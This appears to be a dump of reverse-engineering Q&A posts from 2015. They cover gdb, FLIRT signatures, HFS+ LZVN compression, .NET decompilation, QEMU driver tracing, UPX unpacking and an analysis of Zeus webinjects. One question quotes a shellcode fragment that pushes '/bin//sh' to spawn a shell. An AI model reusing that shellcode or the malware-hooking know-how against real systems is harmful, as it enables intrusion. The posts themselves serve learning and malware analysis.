\n\n

You should now be able to view the type in gdb:

\n\n
gdb $ ptype foobar\ntype = struct foobar {\n    int x;\n}\n
\n" }, { "Id": "8198", "CreationDate": "2015-02-11T00:28:29.120", "Body": "

As we know, time is the bane of reverse engineering. I am wanting to know how are some ways that I can save time in reverse engineering? I have taken some thought and I have been going through many programs and finding that even if the program is considerably different I am able to find up to 255+ identical garbage/redundant functions. I was thinking this morning if there was a way to somehow fingerprint these, that it would save me a considerable amount of time.

\n\n

In short, I would like to know:
\nHas anyone tried to fingerprint or make a database of these redundant functions?

\n\n

Also, what are some other ways that I can save time in my reversal process?

\n", "Title": "Save Valuable Time Reverse Engineering", "Tags": "|functions|", "Answer": "

This is a common task when looking at binaries with statically linked code. The static code varies in register assignment, relative pointer addressing to external object code and other details but is mostly identical across binaries.

\n\n

IDA uses the FLIRT system to solve this problem.\nhttps://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml

\n\n

Basically it filters those bits that vary across linker executions and matches the remaining pattern against a list. For very short functions there are many collisions, but for functions longer than ~30 bytes or so it's very good at identifying what you're looking at.

\n\n

If you're using IDA then it comes with the tools to create your own FLIRT signatures. If you're not using IDA then you would have to make a tool to pull apart your particular static libraries, disassemble the first opcodes, filter the variable bits (this is tricky), and create a database to link names to patterns. You could apply the patterns as appropriate: borland libraries for borland program, MS runtime for visual studio, etc.

\n" }, { "Id": "8200", "CreationDate": "2015-02-11T04:33:04.480", "Body": "

I'm working on an assignment for a systems programming class, and for extra credit we are asked to modify an executable to allow it to accept the reverse of our PIN (finding the PIN was the original assignment). I was able to use GDB to change the memory values being stored for the PIN to the reverse, and when I run the program it works as intended. The only issue is that I can't save these changes to the executable. Once I exit the debugger it reverts to normal. I've tried using \"set write on\" and \"gdb -write \" before making changes, but the changes still wouldn't stick. Does anyone know if what I'm tyring to do is even possible, or where I might be going wrong?

\n", "Title": "Using GDB to modify an executable", "Tags": "|x86|gdb|", "Answer": "

Did you remember to reload your program after set write on ?

\n\n

And did you load your (writable) copy of the original program (as opposed to the professor's copy in a shared location that everyone has read access to, but noone can write) ?

\n\n

Actually, i've never used gdb to patch files directly, i normally use a hex editor.

\n\n

If you don't have a hex editor on your system, maybe you have xxd, which allows you to turn a binary into a hex dump and vice versa.

\n\n

If all else fails, you can still do something like

\n\n
echo 'X' | dd of=binary.file bs=1 seek=12345 count=1\n
\n\n

to patch the byte at offset 12345 in your file to an X. This method has the advantage that it doesn't depend on any gnu utilities, so it works on most variants of unix.

\n" }, { "Id": "8202", "CreationDate": "2015-02-11T13:57:53.307", "Body": "

CTB-Locker is a currently active ransomware that encrypts files to lock users out.

\n\n

Here are a few links about this malware:

\n\n\n\n

Is there a complete analysis about the encryption used by CTB-Locker, and some hints about possible cryptanalysis based on some weaknesses of this cryptographic scheme that can be used to recover the encrypted files.

\n\n

The idea would be to produce a (free) tool similar to decryptcryptolocker.com, that can perform the decryption for users.

\n", "Title": "Where to find a full analysis of the encryption scheme of CTB-Locker?", "Tags": "|tools|malware|cryptanalysis|ransomware|", "Answer": "

I found a full analysis of the cipher algorithm of CTB-Locker performed by Zairon.

\n\n

He's not really optimistic about the possibility to cryptanalyse the files as the first paragraph of the blog post is the following:

\n\n
\n

After my last post about CTB-Locker I received a lot of e-mails from people asking for a complete analysis of the malware. Most of them wanted to know if it\u2019s possible to restore the compromised files without paying the ransom. The answer is simple: it\u2019s impossible without knowing the Master key! That key resides on the malicious server and it\u2019s the only way to restore every single compromised file.

\n
\n\n

And, follow a full analysis of the encryption scheme of CTB-Locker. A good reading for anybody wants to know more about it !

\n\n\n" }, { "Id": "8206", "CreationDate": "2015-02-11T19:22:47.137", "Body": "

I've disassembled some C/C++ codes and realized the stack boundary is specified at beginning of a procedure, somehow like this :

\n\n
1. push ebp\n2. mov ebp , esp\n3. sub esp , <power> ; <power> is specified by mpreferred-stack-boundary=2^power\n
\n\n

The above code is used to create stack frames, But What I need to know is why this subtract is used, Cause the stack grows down (by using push for local variables) and such the subtract causes :

\n\n
---------------------------- ^\nby sub esp,<power> <---- esp |\n.                            |\n.                            |\n.                            |\n---------------------------- |\nesp <---- esp                |\n---------------------------- |\nret address                  |\n---------------------------- |\n
\n\n

The above picture shows that.So when in the rest of code if you have such the following codes:

\n\n
push var1\n
\n\n

It should be taken at the top of it so it looks like this :

\n\n
-----------------------------\nvar1 (4 byte)                \n-----------------------------^\nby sub esp,<power> <---- esp |\n.                            |\n.                            |\n.                            |\n---------------------------- |\nesp <---- esp                |\n---------------------------- |\nret address                  |\n---------------------------- |\n
\n\n

So the space between esp and var1 is going to be free without any use ?\nthat's what I want to know.

\n", "Title": "Stack frame boundary", "Tags": "|memory|stack-variables|", "Answer": "
\n

So the space between esp and var1 is going to be free without any use\n ? that's what I want to know.

\n
\n\n

That stack space is used for the function's local variables (also known as \"stack variables\").

\n\n

Here's a nice animated GIF that shows a function's stack frame being created and used to store local variables:

\n\n

\"GIF\"

\n" }, { "Id": "8209", "CreationDate": "2015-02-12T03:48:52.483", "Body": "

I'm trying to decompress a Mach-O binary which has been compressed using one of the compression algorithms in Mac 10.10's HFS+ implementation. Basically the file has the "com.apple.decmpfs" attribute on it, which says that it is compression type 8. Then the compressed contents of the file are stored in the file's resource fork.

\n

It doesn't seem to have any identifiable header on it. Does anyone recognize it, or have any ideas what it might be? Below is a dump of the first 0x200 bytes of the compressed version of /bin/bash, and the first 0x200 bytes of the same file as viewed under Mac OS.

\n

The Mach-O header (CF FA ED FE) and some executable's strings (e.g. __PAGEZERO) can be seem in the compressed version.

\n

Compressed (first 0x200 bytes of /bin/bash):

\n
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F \n\n00000000  E0 01 CF FA ED FE 07 00 00 01 03 00 00 80 02 00  \u00e0.\u00cf\u00fa\u00ed\u00fe.......\u20ac.. \n00000010  00 00 12 00 04 E8 E8 06 00 00 85 00 20 00 08 01  .....\u00e8\u00e8...\u2026. ... \n00000020  40 04 19 46 48 EB 5F 5F 50 41 47 45 5A 45 52 4F  @..FH\u00eb__PAGEZERO \n00000030  00 38 01 F7 9E 01 00 F0 0C 08 48 8E 28 02 E5 54  .8.\u00f7\u017e..\u00f0..H\u017d(.\u00e5T \n00000040  45 58 54 00 38 01 F3 10 40 9E 60 08 F8 20 10 46  EXT.8.\u00f3.@\u017e`.\u00f8 .F \n00000050  07 46 05 48 0D 06 10 88 E5 74 65 78 74 00 30 01  .F.H...\u02c6\u00e5text.0. \n00000060  38 50 F6 9E EC 0B C8 10 5F 1C 07 F5 50 0A 02 20  8P\u00f6\u017e\u00ec.\u00c8._..\u00f5P.. \n00000070  01 E4 04 00 80 00 FA F1 E8 5F 5F 73 74 75 62 73  .\u00e4..\u20ac.\u00fa\u00f1\u00e8__stubs \n00000080  00 F8 38 50 F6 CE 4C 28 07 F1 CE 62 04 00 F1 28  .\u00f88P\u00f6\u00ceL(.\u00f1\u00ceb..\u00f1( \n00000090  10 28 01 60 50 08 6E 06 F5 E7 5F 68 65 6C 70 65  .(.`P.n.\u00f5\u00e7_helpe \n000000A0  72 FA F9 9E B0 2C 9E 5E 07 08 10 38 A0 F0 04 E7  r\u00fa\u00f9\u017e\u00b0,\u017e^...8 \u00f0.\u00e7 \n000000B0  63 73 74 72 69 6E 67 FA FD 9E 0E 34 9E 61 F8 08  cstring\u00fa\u00fd\u017e.4\u017ea\u00f8. \n000000C0  10 38 01 F2 38 5C F3 18 50 C9 41 6F 6E 73 F6 38  .8.\u00f28\\\u00f3.P\u00c9Aons\u00f68 \n000000D0  50 F6 CE 70 2C 08 F1 9E F0 21 08 10 20 FB 38 01  P\u00f6\u00cep,.\u00f1\u017e\u00f0!.. \u00fb8. \n000000E0  FB ED 5F 5F 75 6E 77 69 6E 64 5F 69 6E 66 6F 38  \u00fb\u00ed__unwind_info8 \n000000F0  50 F9 9E 60 4E 9E 94 11 08 10 38 94 F6 38 01 F2  P\u00f9\u017e`N\u017e\u201d...8\u201d\u00f68.\u00f2 \n00000100  0A 28 56 78 E4 44 41 54 41 FA F1 58 48 60 9E 00  .(Vx\u00e4DATA\u00fa\u00f1XH`\u017e. \n00000110  E0 32 30 5E B0 08 F6 60 08 03 08 01 E4 5F 5F 67  \u00e020^\u00b0.\u00f6`....\u00e4__g \n00000120  6F 3A 27 F1 38 50 FF 9E 38 01 F4 58 0A 03 10 01  o:'\u00f18P\u00ff\u017e8.\u00f4X.... \n00000130  09 D0 98 01 BB 00 F4 EF 5F 5F 6E 6C 5F 73 79 6D  .\u00d0\u02dc.\u00bb.\u00f4\u00ef__nl_sym \n00000140  62 6F 6C 5F 70 74 72 38 50 F7 9E 38 61 9E 10 00  bol_ptr8P\u00f7\u017e8a\u017e.. \n00000150  08 10 38 50 F6 6E E2 F5 9E 6C 61 F0 06 66 48 9E  ..8P\u00f6n\u00e2\u00f5\u017ela\u00f0.fH\u017e \n00000160  D8 05 6E 48 F7 08 E8 98 01 E4 00 F4 39 D8 F8 38  \u00d8.nH\u00f7.\u00e8\u02dc.\u00e4.\u00f49\u00d8\u00f88 \n00000170  50 F4 9E 20 67 9E 88 26 08 10 39 D8 F0 04 E5 64  P\u00f4\u017e g\u017e\u02c6&..9\u00d8\u00f0.\u00e5d \n00000180  61 74 61 00 30 01 38 50 F6 9E B0 8D 9E 04 79 08  ata.0.8P\u00f6\u017e\u00b0.\u017e.y. \n00000190  10 38 50 F0 04 E6 63 6F 6D 6D 6F 6E FA FE CE C0  .8P\u00f0.\u00e6common\u00fa\u00fe\u00ce\u00c0 \n000001A0  06 09 F1 C8 01 68 0E 00 F5 38 50 F2 6E 01 F9 9B  ..\u00f1\u00c8.h..\u00f58P\u00f2n.\u00f9\u203a \n000001B0  B6 62 73 F4 38 50 F8 9E 30 15 9E 10 21 F0 10 3C  \u00b6bs\u00f48P\u00f8\u017e0.\u017e.!\u00f0.< \n000001C0  E8 E7 4C 49 4E 4B 45 44 49 2A C4 58 48 40 9E 00  \u00e8\u00e7LINKEDI*\u00c4XH@\u017e. \n000001D0  A0 F1 90 07 10 09 96 A0 87 11 88 38 4C F2 45 48   \u00f1....\u2013 \u2021.\u02c68L\u00f2EH \n000001E0  22 48 09 30 00 28 41 B1 50 C8 3B 50 13 09 F5 08  "H.0.(A\u00b1P\u00c8;P..\u00f5. \n000001F0  01 40 10 F0 EA 08 0C 00 00 F8 1F 09 00 F8 33 1B  .@.\u00f0\u00ea....\u00f8...\u00f83. \n
\n

Uncompressed (first 0x200 bytes of /bin/bash):

\n
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F \n\n00000000  CF FA ED FE 07 00 00 01 03 00 00 80 02 00 00 00  \u00cf\u00fa\u00ed\u00fe.......\u20ac.... \n00000010  12 00 00 00 E8 06 00 00 85 00 20 00 00 00 00 00  ....\u00e8...\u2026. ..... \n00000020  19 00 00 00 48 00 00 00 5F 5F 50 41 47 45 5A 45  ....H...__PAGEZE \n00000030  52 4F 00 00 00 00 00 00 00 00 00 00 00 00 00 00  RO.............. \n00000040  00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00  ................ \n00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ \n00000060  00 00 00 00 00 00 00 00 19 00 00 00 28 02 00 00  ............(... \n00000070  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... \n00000080  00 00 00 00 01 00 00 00 00 60 08 00 00 00 00 00  .........`...... \n00000090  00 00 00 00 00 00 00 00 00 60 08 00 00 00 00 00  .........`...... \n000000A0  07 00 00 00 05 00 00 00 06 00 00 00 00 00 00 00  ................ \n000000B0  5F 5F 74 65 78 74 00 00 00 00 00 00 00 00 00 00  __text.......... \n000000C0  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... \n000000D0  EC 0B 00 00 01 00 00 00 5F 1C 07 00 00 00 00 00  \u00ec......._....... \n000000E0  EC 0B 00 00 02 00 00 00 00 00 00 00 00 00 00 00  \u00ec............... \n000000F0  00 04 00 80 00 00 00 00 00 00 00 00 00 00 00 00  ...\u20ac............ \n00000100  5F 5F 73 74 75 62 73 00 00 00 00 00 00 00 00 00  __stubs......... \n00000110  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... \n00000120  4C 28 07 00 01 00 00 00 62 04 00 00 00 00 00 00  L(......b....... \n00000130  4C 28 07 00 01 00 00 00 00 00 00 00 00 00 00 00  L(.............. \n00000140  08 04 00 80 00 00 00 00 06 00 00 00 00 00 00 00  ...\u20ac............ \n00000150  5F 5F 73 74 75 62 5F 68 65 6C 70 65 72 00 00 00  __stub_helper... \n00000160  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... \n00000170  B0 2C 07 00 01 00 00 00 5E 07 00 00 00 00 00 00  \u00b0,......^....... \n00000180  B0 2C 07 00 02 00 00 00 00 00 00 00 00 00 00 00  \u00b0,.............. \n00000190  00 04 00 80 00 00 00 00 00 00 00 00 00 00 00 00  ...\u20ac............ \n000001A0  5F 5F 63 73 74 72 69 6E 67 00 00 00 00 00 00 00  __cstring....... \n000001B0  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... \n000001C0  0E 34 07 00 01 00 00 00 61 F8 00 00 00 00 00 00  .4......a\u00f8...... \n000001D0  0E 34 07 00 00 00 00 00 00 00 00 00 00 00 00 00  .4.............. \n000001E0  02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ \n000001F0  5F 5F 63 6F 6E 73 74 00 00 00 00 00 00 00 00 00  __const......... \n00000200  5F 5F 54 45 58 54 00 00 00 00 00 00 00 00 00 00  __TEXT.......... \n
\n

Thanks in advance!

\n", "Title": "Unknown Mac OSX 10.10 HFS+ compression", "Tags": "|file-format|osx|decompress|", "Answer": "

OK... it seems to be LZVN compression. Following on from Igor's suggestions I ran kextstat on my Mac, however that only listed:

\n\n\n\n

Looking at the strings inside the 'dataless' compression it turned out to be type 5: AppleFSCompressionTypeDataless.kext. Searching for the same string with type 8, I found this log:

\n\n
com_apple_AppleFSCompression_AppleFSCompressionTypeLZVN  <class com_apple_AppleFSCompression_AppleFSCompressionTypeLZVN, id 0x10000025d, !registered, !matched, active, busy 0, retain 4>\n      |   {\n      |     \"IOProbeScore\" = 0x0\n      |     \"CFBundleIdentifier\" = \"com.apple.AppleFSCompression.AppleFSCompressionTypeLZVN\"\n      |     \"IOMatchCategory\" = \"com_apple_AppleFSCompression_AppleFSCompressionTypeLZVN\"\n      |     \"IOClass\" = \"com_apple_AppleFSCompression_AppleFSCompressionTypeLZVN\"\n      |     \"IOProviderClass\" = \"IOResources\"\n      |     \"com.apple.AppleFSCompression.providesType10\" = Yes\n      |     \"com.apple.AppleFSCompression.providesType9\" = Yes\n      |     \"com.apple.AppleFSCompression.providesType8\" = Yes\n      |     \"IOResourceMatch\" = \"IOBSD\"\n      |     \"com.apple.AppleFSCompression.providesType7\" = Yes\n      |   }\n
\n\n

Which seems to be something the Chameleon guys already worked out: trunk/CHANGES

\n\n

Edit: Apple has just released an open source implementation: https://github.com/lzfse/lzfse

\n" }, { "Id": "8215", "CreationDate": "2015-02-12T13:40:24.813", "Body": "

I wonder if total decompilation of arbitrary non packed project .NET is possible? If no, what is the conditions that should be met to make it possible? If yes, is there tools that can automate this? I'm wondering not about basic decompilers, but about the ability of complete project recovery to compile result with VS again.

\n\n
\n\n

UPD1

\n\n

Yet tried to apply only dotPeek for my case. Unfortunately the output is not looks like ready-to-go project but all errors seems to be debugable. Disadvantage is the inability to export both dlls and exe into one project automatically(poor man's editing .sln file required)

\n\n

UPD2

\n\n

Seems like ILSpy has no option of export ready-to-go solutions for one/multiple .NET assemblies. Maybe there is some plugin/extension that should handle this? Will update this post if find one.

\n", "Title": "Recovering .NET sources into full blown project", "Tags": "|decompilation|.net|", "Answer": "

Update: dnSpy is now my go to tool for .net decompiling. It's open-source, it exports to Visual Studio projects and the debugger works like a charm.

\n\n

https://github.com/0xd4d/dnSpy

\n\n

Original answer: Telerik JustDecompile also can export to Visual Studio projects. I used it recently and it worked with very minor modifications to the code. It's a free tool.

\n\n

http://www.telerik.com/products/decompiler.aspx

\n" }, { "Id": "8231", "CreationDate": "2015-02-12T23:57:04.383", "Body": "

Presently, I am trying to analyze a piece of hardware, to be specific the Broadcom 1570 PCI web cam inside a late MBPr 2013. I can pass through the device using QEMU, and have the gusest OS / VM detect the web cam, and I tested it out using FaceTime, and it appears to be working. However, there currently isn't a Linux driver for this device. I am aware of one being developed, and there is a project page on Github for the device.

\n\n

What are some \"attack vectors\" or possibilities of using qemu to aid in the development of a Linux driver for this device? My knowledge with QEMU is limited, but I have successfully set up several VM's on my host Linux machince (MBPr), and I am eager to learn. Any help would be greatly appreciated.

\n", "Title": "How could using QEMU be useful in developing a driver for Linux?", "Tags": "|osx|qemu|", "Answer": "

To develop a driver, there's basically 3 steps you have to do:

\n\n
    \n
  1. Learn about Linux driver programming in general. This is independent of your specifi hardware, and involves things like \"How do i convert virtual memory addresses to physical and back? How do i read bytes / write bytes to hardware registers? How do i yield the CPU while waiting for the hardware to set a bit? If the device is interrupt-driven, how to i \"stop\" execution of the driver when it has written a command to the device, and how to i \"restart\" it when the device uses an interrupt to tell me the command has finished/data is ready for me to process?
    2. \n
  2. Learn how the hardware works. How many and which registers does it have, what's the meaning of the individual bits of those registers, what do i have to write to which register to configure the hardware, how (in the case of a web cam) do i read a pixel from the hardware, and how do i set up a DMA transfer of a whole image to memory?
    3. \n
  3. Apply the knowledge of 1) and 2) to your hardware, write a driver, and debug it if it doesn't work as it should. If your user level software tells the driver to configure the Webcam to 1024x768 pixels, does the driver write the correct data to the correct registers? Does it obey any timing the device imposes, or does it set your registers too fast sometimes?
    4. \n
\n\n

While 1) ist just a lot of reading and understanding documentation, an emulator might be able to help with 2), and certainly with 3).

\n\n

Learn how the hardware works

\n\n

If you're lucky, you can do 2) looking at vendor's datasheets. In your case, it seems like the vendor (Broadcom) hasn't published anything, so the only way to find out is looking at what an existing driver does. This is where an emulator that allows logging of certain actions might come handy.

\n\n

If you're running MacOS under Qemu under Linux, and the MacOS driver accesses the webcam hardware, then it doesn't really access the hardware. Every hardware access goes to Qemu, which will intercept the access and route it to the real hardware. Each of these actions can be logged. Now, you can fire up some software in your MacOS, and, for example, tell it to set the resolution to 1024x768 pixels. This might result in a QEMU log like this:

\n\n
Write the value 01 to the memory address 1234500\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x00\nWrite the value 00 to the memory address 1234502\nWrite the value 04 to the memory address 1234503\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x00\nWrite the value 02 to the memory address 1234500\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x00\nWrite the value 00 to the memory address 1234502\nWrite the value 03 to the memory address 1234503\nRead memory address 1234501 and get 0x80\nRead memory address 1234501 and get 0x00\nWrite the value 00 to the memory address 1234500\n
\n\n

What does this tell us?

\n\n

Well, your resolution values - 1024x768 - are 0400 and 0300 in hex. This corresponds to the bytes that are written to 1234502 and 1234503. So, these seem to be the registers that set the resolution. But unfortunately, the same registers seem to be used for width and height. This probably means that the byte written to 1234500 is a selector - writing a 1 there turns the other 2 registers into \"height\" mode, writing a 2 turns them into \"width\" mode.

\n\n

And what about the repeated reading of 1234501?

\n\n

Every time, after something is written to the device, bit 7 (0x80) of that register seems to be set, and the driver keeps reading it until it's clear; then proceeds to write some more. So it seems that bit is a \"hardware ready\" bit, meaning the hardware is processing your previous commands, and not able to accept further commands. Once everything is processed, the bit gets cleared, and the driver is allowed to write some more.

\n\n

Of course, all of this would be much easier if you had documentation of the actual hardware. But, documentation of similar hardware might still help. Assume there was a different chip, the Broadcom 1571, which had a USB interface. And assume the documentation of that stated \"To set the resolution to 1024x768, you'll have to send the bytes 0x01 0x00 0x04 0x02 0x00 0x03 0x00 over USB\". You'd see that the byte sequence is the same, but the timing stuff is probably handled by the USB controller of the 1571 Chip. So you could easily translate the instruction \"To turn on the LED, send 0x04 0x01 0x00, to turn it off send 0x04 0x00 0x00\" to the corresponding PCI register sequence, and verify using your QEMU log whether or not the driver does the same thing when you turn the LED on/off from your emulated software.

\n\n

Develop the driver

\n\n

Once you have enough information about the hardware, you can start writing the linux driver. At this point, an emulator can help you in the same way as when you were tracing the other driver - running Linux with your driver in an emulator helps you debugging the code in just the same way as when you were tracing the original driver.

\n\n

Also, you can use the emulator to prevent lots of crashes. Your driver might have some bugs that cause it to write bad data to bad addresses, and you certainly want to prevent it from sending a low level format command to the PCI/SATA adapter. You can for example, use QEMU to pass through only a specific range of PCI registers to the actual hardware. Or, if your device documentation states \"Writing 0x01 to Register 7 sets a signal to ground, writing 0x02 sets it to +5V. Never set both bits at once, this will create a short circuit and fry your device within seconds\", you could put an appropriate safeguard into the emulator to prevent this in case of a driver gone wild.

\n\n

Can Qemu actually do what has been described?

\n\n

Probably not the vanilla version. There's no reference to PCI register logging in the qemu description. But, it seems that there is a project on github to add this kind of logging to qemu. This project hasn't been updated in 4 years, which could mean it still works as intended (and there has never been a reason to update it), or the maintainer lost interest and it doesn't work at all anymore.

\n\n

Some of the other uses described are just too specific to be easily configurable, so you'll probably need to hack qemu itself to implement them. But hey, that's what qemu is open source for.

\n\n

Since there is already a project to develop drivers for your camera, chances are the maintainers of that project have done exactly that. I'd contact them for more information.

\n" }, { "Id": "8241", "CreationDate": "2015-02-14T23:25:05.980", "Body": "

I have found the following assembly lines presented in a tutorial which I do not understand:

\n\n
 xor eax, eax      => clear, I know that, it makes eax = 0\n push eax          => push 0 on the stack\n push 0x68732f2f   => push \"//sh\" to the stack (the numbers are opcodes I guess, output of hexdump)\n push 0x6e69622f   => push \"/bin\" to the stack (again opcodes, representing \"/bin\" )\n mov ebx, esp      => put address of \"/bin//sh\\0\" into ebx, via esp\n ....\n
\n\n

My question: \nWhy we put address of \"/bin//sh\" into ebx, via esp using the line mov ebx, esp for that ?

\n\n

I draw a sketch:

\n\n
         |                        |\n         |------------------------|<-----ESP (I know that ESP always points to the top)\n(a)      |  0x6e69622f  (\"//sh\")  |\n         |------------------------|\n(b)      |   0x68732f2f (\"/bin\")  |\n         |------------------------|\n(c)      |       0                |\n         |------------------------|\n
\n\n

How I try to explain it to myself(I am not sure if it is correct, but I thought to think about a little bit before I ask in that forum here):

\n\n

ESP is a 32-bit register such that it is large enough to comprise the addresses at (a), (b) and (c) (which I marked above).

\n\n

Is that right? I hope somebody can help me?

\n\n

best regards,

\n", "Title": "Assembly- Using push and ESP-Register to store addresses", "Tags": "|assembly|esp|register|", "Answer": "

Its just a technique to embed strings in the exploit, as u can define them in a regular fashion, as u need their address to access them but in an exploit these addresses are dynamic not static or constants.

\n" }, { "Id": "8247", "CreationDate": "2015-02-15T20:41:57.877", "Body": "

I'm trying to RE an application which shows after hitting a button a specific number.\nThe number comes from a file after parsing it. Input = 5, number displayed = 5 and so on.

\n\n

I was able to track down the disassembled code where the number being loaded.

\n\n
v3 = *(_DWORD *)(*((_DWORD *)AfxGetModuleState() + 1) + 164);\n\nATL::CStringT<char,StrTraitMFC_DLL<char,ATL::ChTraitsCRT<char>>>::Format(v2 + 168, \"%u\", *(_DWORD *)(v13 + 1032));\n
\n\n

The last part v13 + 1032 told me where to look on the stack and indeed I found the number.

\n\n

Stack overview

\n\n
00188F7C  0000000\n00188F80  0000004\n00188F84  0000001\n00188F88  000001D\n
\n\n

Now my question is: Is there any way in IDA to show me the code which is putting those 4 values on the stack? The surounding lines (Line1, 3 and 4) always have the same values.

\n", "Title": "Finding responsible part of code writing specific values on stack", "Tags": "|ida|", "Answer": "

I'll try to guess what happening in your binary, but this will remain only my guess until you provide it.

\n\n

You need to break API functions while debugging application that process both getting keyboard code and printing the result. In WinDbg it can be done like bp USER32!GetKeyboardState; dd esp+x (or dd poi(esp+x) )\nNote, that this operation requires debug symbols installed.

\n\n

Your question was about IDA, but in my opinion separate debugger suits better for such task.

\n" }, { "Id": "8252", "CreationDate": "2015-02-16T12:13:41.830", "Body": "

Is there a trick in IDA Pro to deal with unrolled loops like in the screenshot below?\n\"enter

\n\n

Another, possibly related compiler optimisation is this - instead of loading an offset into a memory area, it does mov for each character (MSVC8). Any quick way to deal with these?

\n\n

\"enter

\n", "Title": "IDA pro and unrolled loops", "Tags": "|ida|compilers|", "Answer": "

There is a topic regarding the 2nd question, see How can I clean up strings built at runtime?. Personally I use the script by ASERT script, it works pretty well.

\n" }, { "Id": "8260", "CreationDate": "2015-02-17T14:07:00.223", "Body": "

I've been trying to get antiResHacker.exe as mentioned in this question:

\n\n

How to prevent use of Resource editors

\n\n

However, the codebase for ollytlscatch (https://code.google.com/p/ollytlscatch/) seems to be inaccessible. Is there a canonical location for this set of tools or are they no longer in public circulation?

\n", "Title": "Where is the code for ollytlscatch?", "Tags": "|ollydbg|debuggers|anti-debugging|digital-forensics|", "Answer": "

The source code for TLSCatch can be downloaded from:

\n\n\n\n

And the binary for it can be downloaded from these two locations:

\n\n\n\n

Furthermore, you can download sample programs to test TLSCatch from:

\n\n\n" }, { "Id": "8268", "CreationDate": "2015-02-18T07:47:09.870", "Body": "

I've decided to reverse this crackme. Obviously it's packed. I was told by PeID that there is only UPX inside. Ok, but upx -d simple crashed that's why I've concluded that this UPX may be scrambled somehow.

\n\n

\"IDA

\n\n

Binary didn't run properly in debugger(windbg) for unpacking it so I've dumped exe from working process and tried to fix imports. Maybe I should have tried Olly with plugins? However IDA still warns me that some imports might be destroyed(see picture). My question is: did I unpacked it correctly? If no what else should I do to unpack it?

\n\n

Unpacked

\n", "Title": "Unpacking UPX packed (possibly scrambled) executable", "Tags": "|unpacking|upx|", "Answer": "

Here you can find bunch of tools for unpacking upx. One of them(Upx Unpacker 0.2) solved my issue. Every unpacker should be used in specific case and this list may be incomplete.

\n" }, { "Id": "8271", "CreationDate": "2015-02-18T10:39:56.333", "Body": "

I'm doing some study on Zeus 2.x, trying to wrap my head around how it works. By using this code. I've built my own builder to work on my test environment.

\n\n

Right know I want to do a very specific thing, which is extracting from memory the webinjects configuration. The first experiments I did was to attach to IExplorer and monitor calls to functions I know Zeus hooks, like HttpSendRequest*. I was expecting that at some point while stepping through those executions I'd see the injections configuration loaded into memory. I've tried to automate the proccess setting a breakpoint upon call of this function and using OllyDbg's Memory Watch plugin, which dumps every string it encounters.

\n\n
\n

So now I want to pinpoint and understand exactly where should I look to see this decrypted configuration in memory.

\n
\n\n

My assumptions so far:

\n\n\n\n

At this point I was thinking to monitor calls to VirtualAlloc and place a breakpoint on memory write on those newly allocated areas (at some point Zeus is bound to place there the encrypted configuration and then decrypt it).

\n\n

But this is still a long shot. Any ideas? Also I'm doing most of this work by attaching on IExplore.exe, should I do it on explorer.exe instead?

\n\n

Any tips are appreciated !

\n", "Title": "Studying Zeus 2.X", "Tags": "|disassembly|windows|ollydbg|malware|", "Answer": "

Answering my own question for further reference:

\n\n

Zeus and many other MiTB capable trojans use API hooking as preferred method to inject malicious code in the webpages before they are rendered by the victim. API hooking is sort of like doing a MiTM of a system call, whereby the bot intercepts the call, takes ownership and control, performs some malicious action and then returns control to the original function. Something like:

\n\n

call network_function:

\n\n
JMP XYZ ----> JMPs to malicious code \n..                |\n..                |\n...           <---- returns to the original function\n
\n\n

So, in this scenario, in order to extract the web injects, the best bet was to understand the logic of the trojan. That is, after a user opens a URL in the browser, this URL will be matched with a list containing the configuration of which URLs to inject. This will surely be performed on Wininet functions such as HttpSendRequest, HttpOpenRequest, etc. If we breakpoint on that function in the main process of IExplore.exe (in an infected machine) we'll see the first instruction to be that JMP instruction we've talked about. If we then proceed to step into, we'll access the actual instructions using the structure BinStorage and other, all related to Zeus. Since there is still a lot of code to go through and the interest was to retrieve the webinjects, one approach is to monitor for decryption / decode instructions (Zeus's configuration is stored encrypted; it only makes sense that if we monitor the instructions responsible for this operation will lead us to the actual decrypted content).

\n\n

In this case searching for the sequence of bytes

\n\n
 MOV ANY, ANY\n XOR ANY, ANY\n INC EAX\n DEC ESI\n
\n\n

If we breakpoint after the last instruction and then inspect the contents of the memory address pointed by the destination operands in the MOV/XOR operations we will most likely find the decrypted payload (i.e. our dynamic configuration section).

\n" }, { "Id": "8272", "CreationDate": "2015-02-18T01:05:35.093", "Body": "

Well I'm unsure if this is the correct site to use but how would I go about decoding/decrypting PHP code which is encoded/encrypted using eAccelerator?

\n\n
